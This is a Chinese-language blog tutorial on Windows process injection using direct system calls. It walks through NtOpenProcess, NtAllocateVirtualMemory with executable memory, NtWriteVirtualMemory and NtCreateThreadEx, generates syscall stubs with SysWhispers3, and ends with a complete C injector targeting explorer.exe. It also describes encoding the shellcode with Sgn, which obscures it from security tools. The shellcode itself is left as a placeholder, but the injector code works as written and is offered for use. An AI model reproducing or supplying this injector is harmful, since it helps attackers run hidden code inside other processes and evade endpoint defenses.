进程注入

文摘   2023-12-20 17:09   广东  

系统调用来进行注入,不明白的可以https://blog.csdn.net/qq_34479012/article/details/128892693

这里使用到如下几个函数:

NtOpenProcessNtAllocateVirtualMemoryNtWriteVirtualMemoryNtCreateThreadExNtClose

这些函数都是R0层的函数。

例如NtOpenProcess函数,他就好比我们使用的OpenProcess函数。

我们可以使用x64dbg来调试一下:

这里如下测试代码:

int main() {    HANDLE hp;  DWORD pid = 6624;  hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);        return 0;}

在命令这里输入:

bp OpenProcess

点击断点就可以看到了。

跟进去可以看到它调用了ZwOpenProcess,这里的Nt和Zw是一样的只是名字不同而已。

紧接着我们来看一下使用R0层的进程注入。

NtOpenProcess函数:

__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(  [out]          PHANDLE            ProcessHandle,  [in]           ACCESS_MASK        DesiredAccess,  [in]           POBJECT_ATTRIBUTES ObjectAttributes,  [in, optional] PCLIENT_ID         ClientId);

第一个参数就是指向HANDLE类型的变量指针。

第二个参数表示对进程对象的访问权限。

第三个参数是一个结构指针,这个结构应用于进程对象句柄的属性,需要注意的是这个结构ObjectName字段需要设置为NULL。

第四个参数就是客户端的ID。

如下代码:

HANDLE processHandle;OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };CLIENT_ID clientId = { (HANDLE)pid, NULL};NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

NtAllocateVirtualMemory函数:

这个函数等价于VirtualAlloc。

__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(  [in]      HANDLE    ProcessHandle,  [in, out] PVOID     *BaseAddress,  [in]      ULONG_PTR ZeroBits,  [in, out] PSIZE_T   RegionSize,  [in]      ULONG     AllocationType,  [in]      ULONG     Protect);

第一个参数表示进程的句柄,这里的句柄可以理解为文件,线程数等等。

第二个参数表示指向变量的指针,这个变量接收的是已经分配区域的基地址。

第三个参数一般设置为0即可。

第四个参数写你shellcode的大小即可。

如下代码:

unsigned char shellcode[277214] = {};SIZE_T shellcodeSize = sizeof(shellcode);LPVOID baseAddress = NULL;NtAllocateVirtualMemory(processHandle, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

NtWriteVirtualMemory函数:

这个函数其实就是copy shellcode到内存中。


NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL );

第一个参数就是我们上面的句柄,第二个参数上面那个Address那个地址,第三个参数就是你的shellcode,第四个参数就是你shellcode的大小,最后一个设置为NULL即可。

NtWriteVirtualMemory(processHandle, baseAddress, &shellcode, sizeof(shellcode), NULL);

NtCreateThreadEx函数:

NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, processHandle, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

那么这些API函数如何获取呢?

这里可以使用SysWhisper3这个工具。

下载地址:

https://github.com/klezVirus/SysWhispers3

下载之后输入如下命令:

python3 syswhispers.py --functions NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o sys_mem

他会生成如上三个文件。

我们将这三个文件放到使用记事本打开,然后再VS中创建头文件,将sys_mem.h的内容复制到我们创建的头文件中。

然后再将sys_mem.c和.asm这两个文件放到我们的项目中即可。


然后右键项目->生成依赖项->生成自定义。

这里将masm勾选上即可。

然后右击sys_mem.asm文件,点击属性。将项类型改为Mircrosoft Macro Assembler即可。

然后我们来到主项目文件将sys_mem.h头文件包含进去即可。

#include "sys_mem.h"

现在我们就可以直接使用上面的那些函数了。

如下完整代码:

unsigned char shellcode[] = {shellcode};SIZE_T shellcodeSize = sizeof(shellcode);int main(int argc, char* argv[]){  DWORD pid = //这里写你要注入进程的id 推荐explorer.exe;
HANDLE ph; OBJECT_ATTRIBUTES oas = { sizeof(oas) }; CLIENT_ID clid = { (HANDLE)pid, NULL}; NtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oas, &clid);
LPVOID Addresss = NULL; NtAllocateVirtualMemory(ph, &Addresss, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(ph, Addresss, &shellcode, sizeof(shellcode), NULL);
HANDLE threadHandle; NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, ph, Addresss, NULL, FALSE, 0, 0, 0, NULL);
NtClose(ph);
return 0;}

紧接着我们使用Sgn对我们的shellcode进行加处理。

然后使用WinHex打开。

edit->copy Block->C Source。

copy之后放到我们的代码中即可,然后将类型改成char类型即可,然后指定下explorer.exe的进程pid,然后编译。

编译之后直接打开即可。

moonsec
暗月博客
 最新文章